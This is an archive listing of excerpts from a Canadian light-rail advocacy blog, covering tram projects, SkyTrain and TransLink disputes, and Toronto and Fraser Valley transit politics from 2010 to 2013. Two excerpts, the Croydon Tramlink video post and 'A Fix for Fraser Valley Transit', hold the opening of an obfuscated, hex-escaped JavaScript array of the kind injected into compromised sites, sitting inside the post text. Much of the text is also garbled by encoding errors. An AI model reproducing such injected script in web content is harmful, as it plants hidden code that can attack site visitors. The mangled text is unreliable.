    An official video promoting the new Stadler trams and Croydon Tramlink. http://www.youtube.com/watch?v=mR-paeQhIXU and http://www.youtube.com/watch?v=cRMvP-WC0ms var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66...

  • Toronto TTC - New Streetcar Implementation Plan

    TorontoAi??TTC new streetcar implementation http://www.ttc.ca/About_the_TTC/Commission_reports_and_information/Commission_meetings/2013/June_24/Reports/New_Streetcar_Implem.pdf TTC Low Floor LRV Roll Out Plan Released (Update 3) Posted on June 25, 201...

  • Ai??koda 30T - a new LRV in Europe

    Ai??koda Transportation won the tram tender in Bratislava PlzeA?/Bratislava, 18. 7. 2013 ai??i?? Today, the company Ai??koda Transportation signed the contract for the supply of trams for the Slovakian metropolis Bratislava. It concerns fifteen two-w...

  • The return of the Interurban

      Ai?? Pete McMartin: The return of the Interurban rail system (with video) Historic railcars moving again along Surrey tracks By Pete McMartin, Vancouver Sun columnist July 18, 2013   On Feb. 28, 1958, rail car #1225 of the B.C. Electric...

  • Liz James Sings The TransLink Blues

    Liz James is one of the few columnists in the region that has taken the times to research our local transit fiasco and she has well demonstrated that she understands the issue. Unlike the mainstream media, which collectively have not done much research...

  • Another Comment, Worthy of a Post.

    Justin Bernard, who reads the RftV blog offered a link yesterday about the Scarborough ICTS/SRT which deserves a post of its own. What was considered cutting edge transit technology in the 70's, is now considered somewhat obsolete today; somewhat like ...

  • Old interurban sparks interest in rail for the Fraser Valley | News1130

    Old interurban sparks interest in rail for the Fraser Valley Light rail transit proponents want to bring it back Mike Lloyd June 27, 2013 8:12 am NEWS1130 ai??i?? In Surrey, the resurrection of a section transit line from the first half of the last ce...

  • Interurban Heritage Rail starts this Sunday

    The Interurban will once again carry passengers, starting this Sunday! Full throttle for rail revival in Cloverdale - Cloverdale Reporter By Jennifer Lang - Cloverdale Reporter Published: June 19, 2013 3:00 PM Updated: June 19, 2013 3:48 PM After more...

  • The World's Top 10 Tram Rides

    Taken from the National Geographicai??i??s Journeyai??i??s of a Lifetime ai??i?? 500 of the Worldai??i??s Greatest Trips http://shop.nationalgeographic.com/ngs/browse/productDetail.jsp?productId=6200125&categoryId=A026&addFacet=9004:A026&na...

  • Why do some governments see Metros as more prestigious than Light Rail?

    A pertinent question posed on one of the Light Rail discussion groups, particularly relevant in relation to Skytrain & the City's of Surrey and Vancouver. A selection of answers: 1) Very simple. Because it is more expensive. There is nothing as pre...

  • The Benefits of Light Rail - Canada Style

    Ottawa Light Rail Transforming our Nation's Capital http://www.ottawalightrail.ca/media/pdf/The%20Benefits%20of%20Light%20Rail%20-%20Web.pdf Hamilton, Ontario http://www.hamilton.ca/NR/rdonlyres/62464D50-B62B-49A7-974B-71679B69FC06/0/RR2E_A7_HealthEnvi...

  • Ottawa LRT

    CFRA News-Talk Radio posted this report on April 22nd about a possible alignment for the leg of the Ottawa starter light rail line west of downtown. http://www.cfra.com/News/Ottawa-Regional-News/City-likes-tunnel-under-Richmond-Road-for-next-pha The ro...

  • Limiting in Honolula

    The Honolulu High-Capacity Transit Corridor Project (HHCTCP) is the official name for the plan to construct an elevated rapid transit line serving the City and County of Honolulu on the island of Oahu. http://www.honolulutransit.org/ The line will use ...

  • New Rail for the Valley brochures are ready

    The Friends of Rail For the Valley Society has come out with some nice brochures ahead of the provincial election! Much credit goes to Robbin Yager for designing these brochures. RFV1FAi??-Ai??This is a one-fold brochure, 11x17 inches, B&W RFV1Fcmy...

  • HELP! RAIL FOR THE VALLEY VOLUNTEERS NEEDED

    MEETING THIS WEDNESDAY This is a pre-election call-out. We're going to do a big push to get light rail back on the agenda for this election. Join us! Regardless of whether or not you can make it to the meeting this Wednesday in Chilliwack, please email...

  • Rail for the Valley - Saturday March 16 PRE-ELECTION WORKSHOP

    To all supporters of Rail for the Valley, The election is just around the corner! Our Society has been hard at work on some ideas for the provincial election. If you want to get involved and put regional rail service for the Fraser Valley on the map th...

  • Tramways, a tool in a global mobility strategy

    THE TRAMWAY REVIVAL IN FRANCE http://www.developpement-durable.gouv.fr/IMG/pdf/Tramway_GB.pdf Currently, eighteen French urban areas have at least one tramway line and by 2014, nine more towns will have opened their first lines. In France, the organis...

  • Man marries his car

    NO, HUMAN MANAGEMENT IS NOT PERFECT but neither is automated management. Records prove the safest way to go is to have automatic safety controls that will override a human mistake, such as 1920 style automatic train stop. It is much safer to rely on an...

  • Winter Tramway, Light Rail, LRT and ART reliability?

    The Cardinal is confident that friends & colleagues in Vancouver will take satisfaction from knowing that European Light Rail & at-grade tramway systems are providing a faultless public service this winter. Images of Croydon (London) Tramlink A...

  • The London Underground: 150 Years in Culture

    Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai?? The first journey on the London Underground was made 150 year...

  • January 2013

    The Cardinal sends greetings & fraternity to all for the new year. The Cardinal concludes with conviction, that 2013 will mark a watershed forAi??@ grade Light Rail, Trams & Streetcars in Canada & BC in particular. So, Mr Daryl Dela Cruz, L...

  • Canadaai??i??s light rail renaissance

    From the International Railway Journal http://www.railjournal.com/index.php/light-rail/canadas-light-rail-renaissance.html Light rail is experiencing a renaissance in cities throughout Canada with various new lines planned and some currently under con...

  • New Year Game On

    In March & April 2011, the Cardinal wrote two articles for the Blog; `The Emperor has no Clothes and no Transitai??i??Ai?? http://www.railforthevalley.com/news-articles/the-emperor-has-no-clothes-and-no-transit/ Ai??Ai??and `Pushing a wooden stake ...

  • Streetcars belong: Even in the U.S.

    They're coming. They're actually now being built, not just planned, not just proposed. Streetcar lines are back. From Railway Age; http://www.railwayage.com/index.php/blogs/doug-bowen/streetcars-belong-part-2-even-in-the-us.htmlAi?? Streetcars are s...

  • Translink plays dead at the first lick of snow, but all over the world street level Light Rail & Tramways take the weather in their stride

    In other words a few inches of snow doesn't stop @ grade LRT/street level Tramways; a foot and so long as the snow sweaping is effective the LRV/Trams keep on operating. Croydon Tramlink TransLinkai??i??s bus company is expensive, inefficient and dysf...

  • Challenge Richard

    SkyTrainai??i??s Expo Line was built in 1985 and opened in time for Expo 86 with 20 stations connecting Waterfront Station in Vancouver and King George Station in Surrey. Between 1985 & 2012; One Hundred & Fifty One full service tramways have ...

  • What have the Romans ever done for us?

    Apart from the Aqueduct, Sanitation, the Roads, Irrigation, Medicine, Education, Public Health, Wine, Public Baths andAi??Law & Order. http://www.youtube.com/watch?v=hSELOCMmw4A Taking the contemporary view; What have Translink ever done for us? h...

  • Sleeping with the Enemy

    All too often public transit advocates are refused access to politicians, in Britain the Light Rail Transit Association LRTA has been instrumental inAi??the setting up of a forumAi??where ministers and their advisors can meet with the industry leaders,...

  • Light Rail Fits in

    Light Rail Fits in, that is unless you live in Vancouver where corruption, Canadian Transit Politics and incompetence threatens logic and commonsense Of all the modes of transport electric railways have proven to be the most successful in providing an ...

  • Broadway needs SkyTrain rather than light rail, Vancouver city staff & Translink trot out the same old, same old.

    Broadway needs SkyTrain rather than light rail, Vancouver city staff say http://www.straight.com/article-843831/vancouver/broadway-needs-skytrain-rather-light-rail-vancouver-city-staff-say By Yolande Cole, November 27, 2012 Vancouver city staff b...

  • Why Is TransLink's Price for Light Rail Triple What Other Cities Pay?

    Arguments for spending billions on SkyTrain along Broadway rest on oddly high estimates for the alternative: light rail. ByAi??Kathryn Mandell and Patrick M. Condon, Today, TheTyee.ca http://thetyee.ca/Opinion/2012/11/28/TransLink-Light-Rail/ Future...

  • People love their cars or do they?

    Portland sometimes struggles to find the right balance between car use and alternative modes of transportation. Striking the balance will require tough choices as population and housing density increase. Michael Lloyd/The Oregonian http://www.oregonliv...

  • Cities by the sea

    A tale of two marine citiesai??i?? Bordeaux & Vancouver have much in common Ocean location Temperate climate Situated on a major tidal river A large natural seaport Extensive transport links, river, rail, air & road to the hinterland ...

  • What's not to love about riding the rails?

    What's not to love about riding the rails? BY JON FERRY, THE PROVINCE JULY 6, 2012 Photograph by: Graphics , The Province I have few grand passions in my life, but train travel is one of them. A train journey can be frustrating (I once spent an entire ...

  • Is it time to bring back the streetcar to Vancouver?

    Both Stephen Rees http://stephenrees.wordpress.com/2012/04/11/is-it-time-to-bring-back-the-streetcar-to-vancouver/ and Voony http://voony.wordpress.com/2012/04/16/is-it-time-to-bring-back-the-streetcar-to-vancouver/Ai?? The motion has been launchedAi??...

  • Surface LRT will "corrupt" rail system

    In a letter to the Langley Advance, a spokesman for "SkyTrain for Surrey" says adding surface light rail to the Vancouver area rail transit system will "corrupt" the efficiency and cost recovery of the existing rapid transit system: http://www.langleya...

  • Urban Compass - Subways wont win Rob Ford Votes

    In a meeting room in Scarborough earlier this month, Mayor Rob Fordai??i??s grand plan to ride to re-election on subway promises drift further off track. It happened deep in the heart of Ford Nation, with a few dozen people gathered in Agincourt for an...

  • More on Karlsruhe, new Trams, headway, pedestrians & bicycles

    Ai??Germany-based Vossloh has won a ai??i??75m contract from Verkehrsbetriebe Karlsruhe (VBK) and Albtal-Verkehrs-Gesellschaft (AVG) to supply 25 low floor tram trains, with an option for 50 additional trains to be deployed in Karlsruhe, Germany. Under...

  • Transit corridor will be easily reached by walkers and cyclists, planner says

    Not for the first time, the Cardinal has had to question the decisions ofAi?? provincial transit planners; BC & now Ontario. In the Record.com http://www.therecord.com/ David Fields, a transit-planningAi?? consultant with Nelson\Nygaard Consulting ...

  • A Canuck expat in Geneva on the virtues of light rail

    from Now Toronto http://www.nowtoronto.com/news/story.cfm?content=186287 In the flap over Torontoai??i??s transit future, we have to recognize that few have had any kind of exposure to light rail. For most of us, subways are our only experience of publ...

  • A bad week for Clarkai??i??s fading B.C. Liberals

    Another Canadian politico, deep in the doodoo the sad fact is SkyTrain, the Canada Line and now the the Evergreen SkyTrain Line are big contributors to TransLink's financial woes. building more SkyTrain only exacerbates the situation. by Gary Mason - G...

  • The Downfall of Rob Ford's Subway Vision

    A rather clever sendup of Canadian Transport Planning & PoliticsA fan of Toronto Mayor Rob Ford takes the news of his failure to extend the Sheppard Subway rather poorly. Clip from the film 'Downfall' aka "Der Untergang" Copyright Ai?? 2004 Constan...

  • TTC chief: Subway expansion for downtown relief line has to be discussed ai???right nowai??i??

    National Post http://news.nationalpost.com/2012/03/23/subway-or-lrt-downtown-toronto-needs-a-relief-line-ttc-chief-andy-byford/ The real issue for Ford isn't subways, it's keeping the roads LRT-free for cars. He'd rather have no transit whatsoever than...

  • Torontoai??i??s Mayor Ford vows to ai???lead the chargeai??i?? in halting light-rail transit

    Mayor Rob Ford is pledging to do ai???everything in his powerai??? to stop light-rail lines from running at street level on Eglinton and Sheppard Avenues in Scarborough. One day after losing the fight to save his subway plan at council, the mayor said ...

  • Rob Fordai??i??s subway dream dead

    The Toronto Star hates Mayor Ford and everything he wants to do. The Star is Liberal and the mayor is conservative. It has never said anything nice about him. The mayor before him ran on an election promise not to build a bridge to the island airport. ...

  • Atlanta & Cincinnati Streetcars

    http://designinghealthycommunities.org/atlanta-getting-new-streetcar-line/ U.S. Transportation Secretary Ray LaHood, Atlanta Mayor Kasim Reed and local officials have kickedAi??off construction of a new 2.6-mile streetcar line that will run through the...

  • In Toronto, a Major Victory for Light Rail

    It was an $8.4 billion question that had simmered all year, but finally boiled over this week at Toronto City Hall during a no-holds-barred debate that may well determine the future of city's transit expansion.* http://www.theatlanticcities.com/commute...

  • Review of Light Rail/Tramway costs

    A Federal Parliamentry Review of Light Rail/Tramway/Transit costs must be carried out!Ai?? Both Fang & Zwei have posted articles in the past weeks on the high costs of Canadian LightAi??Rail, Tramway & Transit schemes. Vancouver, TorontoAi??and...

  • Whatai??i??s the Best Way To Get Users To Embrace Mass Transit?

    Make it pleasant? Or make it efficient? An article in Slate magazine http://www.slate.com/articles/life/transport/2012/01/jarrett_walker_s_human_transit_are_we_thinking_about_urban_planning_all_wrong_.html Make it pleasant? Or make it efficient? by Tom...

  • Transportation Planning - A North American view

    An interesting extract from a commentary comparing currentAi??North AmericanAi??practice with European `In Vancouver, over a decade ago at the grand opening of the heritage streetcar project, a chap from Bombardier singled me out. What he said after a ...

  • The fictitious war on cars

    Why the automobile is not ai??i?? and has never been ai??i?? endangered Jennifer Good ai??i?? The Brock Press (Brock University) Canadian University Press http://cupwire.ca/articles/50669   Bike lanes don't slit cars' tires. There's no war zone...

  • Trams, Pedestrians & Bicycles + buses & cars in Amsterdam

    Trams, bicycles, pedestrians also buses, motorcycles & cars happily co-existing in Amsterdam. http://www.youtube.com/watch?v=5JeWED7Zilo Just to reassure Ai??theAi??Ai??retardedAi??Ai??dingbats amongst Skyscraper, Ai??Skytrain for Surrey, Translink...

  • Christmas Greetings

    Seasonal Trams & Christmas lights from: BudapestAi??http://www.youtube.com/watch?v=MzLNouWQlWg&feature=youtu.be&hd=1 Vienna http://www.youtube.com/watch?v=wixBopxlTUI Graz http://www.youtube.com/watch?v=vDANZba5Qxc&feature=related Munic...

  • Toronto Meet Your New Ride

    New Toronto Streetcars http://lrv.ttc.ca/Ai?? is the website from the TTC on the new streetcars. The Toronto Transportation Societyai??i??s December newsletter has some interesting thoughts on the vehicle as well as photos of the half mock-up. The firs...

  • Light Rail runs in inclement weather

    Trams and Streetcars "Stuttering & Crapping out" not a chance brother! As in the winter of 2010/2011 when Light Rail & Trams continued to run across Europe as well as in Calgary, despite heavy snow falls, when Skytrain ground to ...

  • Contrasting Canadian News Posts

    Freedom takes Flexity to the North American tram market http://www.railwaygazette.com/index.php?id=44&no_cache=1&tx_ttnews%5Btt_news%5D=14068&cHash=3eea2ae186 NORTH AMERICA: Bombardier Transportation President & CEO AndrAi?? Navarri lau...

  • Autumn in Budapest

    The Cardinal has recently returned from a short holiday in Budapest, Hungary. Budapest is a walking city and theSeptember weather makes it ideal to wander around on foot with many cozy cafAi??s and restaurants offering their retreat if needed when temp...

  • A Light Rail renaissance

    The government has set out its intention to trigger a light rail renaissance in the UK and while specialists welcome the move some are concerned about costs http://www.guardian.co.uk/public-leaders-network/2011/sep/23/light-rail-renaissance?newsfeed=tr...

  • Surrey won't build light rail without help

    Mayor says taxpayers have poured too much into TransLink SURREY (NEWS1130) - Dianne Watts wants light rail for her city as soon as possible, but would Surrey be willing to pay for it alone? http://www.news1130.com/news/local/article/280453--surrey-won-...

  • I must go down to the sea again [in ships & trams]

    I must go down to the seas again, to the lonely sea and the sky, And all I ask is a tall ship and a star to steer her by, And the wheel's kick and the wind's song and the white sail's shaking, And a grey mist on the sea's face, and a grey dawn breaking...

  • Aecom wins Canadian light rail contract

    Aecom lands early role on Edmonton LRT http://www.theconstructionindex.co.uk/news/international-construction-news/aecom-lands-early-role-on-edmonton-lrt Aecom has won a CAD $36m contractAi?? for preliminary engineering on a light rail transit (LRT) exp...

  • More trams for Montpelier

    The following happier transit news for Montpelier, is courtesy of David Cockle. As the SkyTrain lobby still dream a Luddites dream of the world being flat and everyone builds with SkyTrain, more light rail is being built in France. Why is France so imp...

  • Electric Hybrid Streetcars coming to Austin?

    Austin Cars ExaminerAi?? August 12, 2011 http://www.examiner.com/cars-in-austin/eclectric-hybrid-streetcars-coming-to-austin A glimpse of the possible future of mass transit in the City of Austin was shown to the public on August 11. Kinkisharyo, a gl...

  • Are modern streetcars the future?

    Due to the small backlash to TransLink's tax increases that were announced on Wednesday, the pro-LRT and pro-streetcar groups were out today promoting surface rail on CTV News as being cheaper and a fitting tribute to a past.Ai??Ai??   http://www....

  • Taxpayers entitled to better transit: Light rail advocate - News1130

    Taxpayers entitled to better transit: Light rail advocate Call comes as mayors float idea of two-cent-a-litre gas tax Renee Bernard Jul 08, 2011 20:34:59 PM FRASER VALLEY (NEWS1130) - If we pay the taxes, we want the transit. The proposed increase in g...

  • Around Canada

    A column published by The National Post says Toronto has a fetish for streetcars and what the city really needs is more rapid transit subways to make it a world class urban area. The commentary compares Toronto with London and its Tube system:http://li...

  • Before & after - TOD French Tramway style

    Angers: before and after the coming of the Tram Taken from http://www.lineoz.net/forum/viewtopic.php?f=16&t=19049&p=317604#p317604 Ai?? The series of images shows the improvements in the urban environment that the introduction of an at-grade tr...

  • Trams are good for your health - 3

    postedAi??from: The Regional Transport Strategy role of Tramways & Light Rail http://www.applrguk.co.uk/files/lruk%20v.1%20role%20of%20light%20rail%20&%20tramways%20v.%20150610.pdf Health Impact of Airborne Pollutants Evidence has now emerged w...

  • Trams are good for your health - 2

    Public transport is good for your health and your wallet, according to scientists Switching to public transport could help you lose nearly half a stone a year in weight, new research suggests. Daily Telegraph http://www.telegraph.co.uk/health/healthnew...

  • Trams are good for your health

    Woman gives up car to avoid buying gas http://www.azfamily.com/news/local/Woman-gives-up-car-to-avoid-buying-gas-121424504.html PHOENIX - Two months ago, Nicole Underwood had an epiphany. ai???When gas prices hit $3.50 I was like, thatai??i??s it!ai???...

  • At least they're considering it

    The `it' is Light Rail, the `they' include:  Nashville http://www.nashvilleledger.com/editorial/Article.aspx?id=52855 Ottawa http://www.ottawa.ca/calendar/ottawa/citycouncil/csedc/2011/05-12/03%20-%20ACS2011-ICS-RIO-0001%20-%20LRT.htm ...

  • LRT and Subway Construction Costs

    From the Toronto LRT Information Blog http://lrt.daxack.ca/blog/ Discussions on Toronto and GTHA LRT Possibilities Much of this site is devoted to promoting LRT as a viable alternative to Subway for rapid transit expansion within the GTA where capacit...

  • Kisses on a postcard

    In the 19th & 20th centuries, Trams & Streetcars were part of the streetscape in towns and cities in Canada, Europe & America. Studying contemporary postcards, it can be seen how well this form of urban transport fitted in with homes, busi...

  • The Sunday Supplement Essay

    The fall out from Surrey Mayor Dianne Watts State of the City report Tuesday, has raged far & wide in the BC papers and on the blogosphere, not unexpectedly much of the debate has centered on the link between transport or transit, development or la...

  • Opening of Reims Light Rail/Tramway system

    On April 16th the 11.2 kmAi??Ai?? Light Rail/tramway in the city of Reims, in the French region of Champagne-Ardenne was opened with much publicity. Reims is the twenty secondAi??Ai??of the new generationAi??Ai??of tramways to be opened in France since...

  • Surrey Mayor Dianne Watts calls for street-level rapid transit in her city

    Light rail proponents say it's less expensive than SkyTrain They are cheering Surrey mayor Dianne Watts for her call for street-level rapid transit in her city Dan Burritt Apr 13, 2011 19:24:20 PM  News1130 http://www.news1130.com/news/local/a...

  • You could waste away waiting for guided bus

    cambridge-news.co.uk http://www.cambridge-news.co.uk/Home/You-could-waste-away-waiting-for-guided-bus.htm Let's make no bones about it – we’re all getting on a bit while we wait for the guided bus to arrive. But two “passengers&r...

  • April Fool from Rob Ford

    Rob Ford’s Designs on Metrolinx (Update 2) http://stevemunro.ca/?p=5061 Posted on April 1, 2011 by Steve Updated 9:45am: Environmentalists scoffed at plans to convert rail corridors to roadways.  “Electrification of GO was our big cha...

  • The Emperor has no Clothes and no Transit

    Vancouver is at first glance a beautiful city. It is surrounded by sweeping vistas and a dramatic skyline. The climate is moderate butAi??spend some time here and scratch the surface and it becomes far less attractive. It is a city that is divided pol...

  • Transit problems across Canada prompt calls for politicians to address issue

    Time to lead SIRI AGRELL, LES PERREAUX, WENDY STUECK AND JOSH WINGROVE Globe and Mail Saturday, Mar. 26, 2011 1:31PM EDT Commute times in Canadian cities are no longer just a source of rush-hour irritation, but a national liability affecting the econom...

  • Transit a hit-and-miss affair in B.C.A?ai??i??ai???s Lower Mainland

    Wendy Stueck Vancouverai??i?? Globe and Mail Update Published Friday, Mar. 25, 2011 11:00PM EDT http://www.theglobeandmail.com/news/national/toronto/transit-a-hit-and-miss-affair-in-bcs-lower-mainland/article1957867/page2/ Shuttling sleekly between Ric...

  • Nobody's nostalgic for the freeway to nowhere

    Nostalgia over easy was the order of the day at Sinbad's, a waterfront restaurant in the shadow of the Ferry Building. The talk turned to fern bars, and fast cars, and long lunches in places like Paoli's. Remember the '80s? The men had narrower ties an...

  • Current issue of Trains should be required reading

    Matthew at Transport Action BC http://transportactionbc.wordpress.com/ writes on March 8th The April issue of Trains magazine has a special 48 page report on fast trains. It describes new high-speed trains in China, Korea, Taiwan, Japan and Europe, re...

  • Rebalancing Our Transportation Network: A Case Study

    Hamilton, Ontario has for long been promoting a Light Rail system for the city, details of their campaign can be found on the Hamilton Light Rail web site: http://hamiltonlightrail.com/index.html Details of the economic case for Light Rail are: http://...

  • First interconnected tram-train service!

    On 12 December 2010, the first tram-train service in the French region of Alsace commenced. 5000 daily passengersAi??are be able to travel from Mulhouse to Thann on an innovative, ecomobile transport route. read the article: http://www.sncf.com/en_EN/h...

  • Toronto again! Ford & Gilbert sound-off & more irrelevant comparisons

    Toronto owes mayor a thank you on transit Toronto Star.com February 24th http://www.thestar.com/opinion/article/943888--toronto-owes-mayor-a-thank-you-on-transit#article Toronto owes Mayor Rob Ford a big thank you for three things. [Most definitely n...

  • Around the US & Canada- Light Rail, Tram, Streetcar, LRT & Transit news

    Late February has brought a mixed bag of news on Light Rail, Tram, Streetcar, LRT & Transit projects in North America, some positive & some negative. The Cardinal posts a selection of national, local press and on-line Blog reports. 1) Gray: Str...

  • Rail group: Provincial report biased - News1130

    Rail group: Provincial report biased Sheila Scott Feb 22, 2011 05:20:09 AM FRASER VALLEY (NEWS1130) - The group Rail For the Valley says an independent firm has taken a look at a provincially commissioned transit study into light rail released in Decem...

  • False assumptions worry rail expert

    False assumptions worry rail expert BY PAUL J. HENDERSON, THE TIMES FEBRUARY 22, 2011 The provincial government's lack of interest in interurban light rail from Chilliwack to Surrey is biased and based on a number of false assumptions, according to a B...

  • New French Tramways

    Reims Tramway is under test:- http://www.lunion.presse.fr/article/marne/le-tram-a-lepreuve-du-feu http://www.tramwaydereims.fr/start.html http://en.wikipedia.org/wiki/Reims_tramway and http://www.lineoz.net/forum/viewtopic.php?f=1&t=10893&sid=6...

  • Susan Heyes and the Canada Line fiasco - Justice denied!

    The Canada Line was never about providing good public transitAi??for the region, rather the metro was all about political and corporate prestige. The Vancouver International Airport gang wanted a prestigious metro to connect YVR to downtown Vancouver,...

  • Nottingham Tram - Councils Negotiate NET Settlement

    Nottingham NET Phase 2 Nottingham City Council and Nottinghamshire County Council have negotiated a settlement which will allow the City Council to take the project forward as sole promoter. http://www.nottinghamcity.gov.uk/netphase2/index.aspx?articl...

  • Light Rail, Tramway & Streetcar news from America

    The Cardinal has posted a number of news articles on European Light Rail & Tramway developments in the past month; now from the US comes news of two new transit scheme initiatives and developments on a third. Washington DC Streetcars on track ...

  • Birmingham [UK] city centre tram project moves forward

    City centre tram project moves forward Centro Press release Work to extend the Metro tram system through the streets of Birmingham city centre took a major step forward today after the Government made more than Ai??A?75 million available for the excit...

  • 29 new Tram Projects announced for France

    11 February 2011  Railway Gazette Funding allocated to 78 French urban transport projects http://www.railwaygazette.com/nc/news/single-view/view/funding-allocated-to-78-french-urban-transport-projects.html FRANCE: Transport Minister Natahali...

  • Dix in favour of light-rail transit in the Fraser Valley: group

    Dix in favour of light-rail transit in the Fraser Valley: group BY IAN AUSTIN, THE PROVINCE FEBRUARY 7, 2011 Advocates for light rail in the Fraser Valley can claim an early victory in their quest to get support from leadership candidates for the B.C. ...

  • UK Government confirms local transport project funding

    Railway Gazette  04 February 2011 http://www.railwaygazette.com/nc/news/single-view/view/government-confirms-local-transport-project-funding.html UK: Following a review which has brought a 14% reduction in the total cost, on February 4 the Depart...

  • Surrey Leader - Delta threatens to leave TransLink

    Delta threatens to leave TransLink Communities south of the Fraser River are not getting their money's worth in transit service, Delta and Surrey mayors say. By Kevin Diakiw - Surrey North Delta Leader Published: February 03, 2011 2:00 PM Updated: Febr...

  • Streetcars to roll back into New Orleans

    From the Tyee.ca http://thetyee.ca/ http://thetyee.ca/Blogs/TheHook/Transportation/2011/02/01/Streetcars-roll-back-into-New-Orleans/index.html Vancouver canai??i??t hold a candle to New Orleans when it comes to food or music. And now the Terminal City...

  • Slowly New Orleans is growing back into a proper network.

    Streetcar service along Rampart, St. Claude is getting a green light Tuesday, January 25, 2011 The Times - Picayune http://www.nola.com/business/index.ssf/2011/01/streetcar_service_along_rampar.html More than 20 years after transit officials began expl...

  • Politicians talking about a split from TransLink

    Politicians talking about a split from TransLink Upset they've become a funding source for projects elsewhere, south of Fraser officials could form own entity BY SANDOR GYARMATI, THE DELTA OPTIMIST JANUARY 29, 2011 Lack of transit services for the mone...

  • Hudson-Bergen extension opens in New Jersey

    Railway Gazette 01 February 2011 http://www.railwaygazette.com/nc/news/single-view/view/hudson-bergen-extension-opens-in-new-jersey.html Ai??USA: A 1Ai??6 km extension of the Hudson-Bergen light rail line south from the former terminus at 22nd Stree...

  • Light rail that works

    CALGARYai??i?? From Saturday's Globe and Mail by Marcus Gee http://www.theglobeandmail.com/news/national/toronto/marcus-gee/light-rail-that-works/article1887237/ Mayor Rob Ford has left no confusion about how he feels about light-rail transit. One of h...

  • Proposal for Light Rail in Copenhagen

    The Danish Minister of Transport Hans Christian Schmidt will promote a light rail system using the bypass road Ring 3 west to Copenhagen:Ai??Ai?? http://www.dr.dk/Nyheder/Indland/2011/01/20/220647.htm Ai?? The Light Rail line will pass through ten muni...

  • Grand plan to bring tram system to Chester

    ChesterFirstAi?? Published date: 24 January 2011 | Published by: Laura Jones http://www.chesterfirst.co.uk/news/98061/grand-plan-to-bring-tram-system-to-chester.aspx MAJOR plans to extend a tram network from Manchester to Chester will be presented to...

  • Hybrid tram goes live in US city

    http://www.independent.co.uk/travel/news-and-advice/hybrid-tram-goes-live-in-us-city-2191448.html The world has hybrid cars, hybrid buses and even hybrid boats - and now it has a hybrid tram (streetcar), unveiled this week in a US city. The patriotical...

  • A Fix for Fraser Valley Transit, or is the Fix In?

    By Daniel van der Kroon, UFV Students for Sustainability Original article can be viewed here:Ai??http://www.footprintpress.ca/2011/01/winter-2011-issue-of-the-footprint-press/     var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E",...

  • Light rail advocates take aim at province's transit plan for Fraser Valley

    Light rail advocates take aim at province's transit plan for Fraser Valley BY FRANK LUBA, THE PROVINCE JANUARY 11, 2011 A citizensA?ai??i??ai??? group from the Fraser Valley believe the provincial government is off track with its plan to provide public...

  • Rail folks find study biased in favour of rapid bus

    Rail folks find study biased in favour of rapid bus BY PAUL J. HENDERSON, THE TIMES JANUARY 11, 2011 The provincial government's shelving of light rail from Chilliwack to Surrey in the long-awaited Fraser Valley Transit Study (FVTS) is "biased," "misle...

  • Surrey Leader - Bus-boosting study stacked deck against Valley trains: critic

    Bus-boosting study stacked deck against Valley trains: critic Critics with Rail For The Valley say the province's transit review concentrated on heavy rail service like the West Coast Express, rather than accurately costing out a modern light rail opti...

  • High density urban living, not neccessary for good public transport

    Units not crucial for good public transport, study finds Andrew West, January 5, 2011 RESIDENTS of Australia's outer suburbs do not have to wait for higher housing densities before getting better public transport, according to new research, ...

  • A 2010 retrospective and a happy New Year!

    Itai??i??s traditional for the media and bloggers alike to wrap up the retreating year or welcome in the New Year with a retrospective of all that was bad, depressing, frustrating, good, humorous, irritating, scandalous or just plain bizarre in the twe...

  • BCLocalNews.com - Study calls for major transit boost

    Study calls for major transit boost ByAi??Ai??Jennifer Feinberg - Chilliwack ProgressPublished:Ai??Ai??December 21, 2010 7:00 AM Updated:Ai??Ai??December 21, 2010 9:19 AM The long-awaited Fraser Valley Transit study quietly appeared online Thursday, ...

  • Buses, not rail, laid out in Valley transit vision ByAi??Ai??Jeff Nagel - BC Local News Published:Ai??Ai??December 20, 2010 12:00 PM Updated:Ai??Ai??December 20, 2010 4:21 PM The Fraser Valley needs to get A?ai??i??ai???Ai??Ai??and pay for A?ai??i??ai...

  • Study goes off the rails

    Study goes off the rails BY PAUL J. HENDERSON, THE TIMES DECEMBER 21, 2010 Proponents of the inter-urban rail line from Chilliwack to Surrey are critical of some of the assumptions underlying the provincial government's Fraser Valley Transit Study (FVT...

  • Bus vs trains

    Bus vs trains Transit study favours buses over rail BY ROCHELLE BAKER, THE TIMES DECEMBER 21, 2010 A much anticipated study about the future of transit in the Fraser Valley has been released, and it favours expanding bus routes over re-establishing the...

  • Buses may patch Fraser Valley transit gap, but will they fix it? - Cayo

    Buses may patch Fraser Valley transit gap, but will they fix it? By DON CAYO 21 DEC 2010 Filed under: transit, TransLink More buses A?ai??i??ai??? a lot more A?ai??i??ai??? are the best bet for commuters in the fast-growing Fraser Valley, according to ...

  • Study: not enough demand for rail service to Fraser Valley - News1130

    Study: not enough demand for rail service to Fraser Valley The province will use this information to plan transit projects to the Fraser Valley over the next 25 years Jesse Johnston Dec 17, 2010 13:24:22 PM VANCOUVER (NEWS1130) - The province says new...

  • Light Rail Transforming Cities, Guiding Development

    December 27, 2010 JJ Sutherland, National Public Radio http://www.npr.org/ It's hard to find a city in America that isn't planning, proposing, studying or actually building a light rail system. Cities as diverse as Dallas, Seattle and Washington,...

  • From the Light Rail Transit Association - Mulhouse tram train ready

    Mulhouse tram train ready : On December 12, 2010, ai???the first inter-connected tram-train of Franceai??? will enter into service. The public will be able to preview the new line from the afternoon Saturday 11th when there will be free travel on the ...

  • What Fools We Mortals Be - Toronto's New mayor, Rob Ford.

    American style Tea Party politician andAi??Toronto's new mayor Rob Ford, is taking the TTC back 50 years or more by forcing the TTC to build new subways, instead of much cheaper light rail. Ford is just mimicking the same bleat that AmericanAi??politic...

  • Surrey's main issue is simple: better transit

    Surrey's main issue is simple: better transit Seven of every 10 people moving to the region in the next 30 years will settle south of the Fraser BY KELLY SINOSKI, VANCOUVER SUN NOVEMBER 20, 2010 Light rail and streetcars will be the talk of Surrey over...

  • Surrey considers paying its own fare for better transit

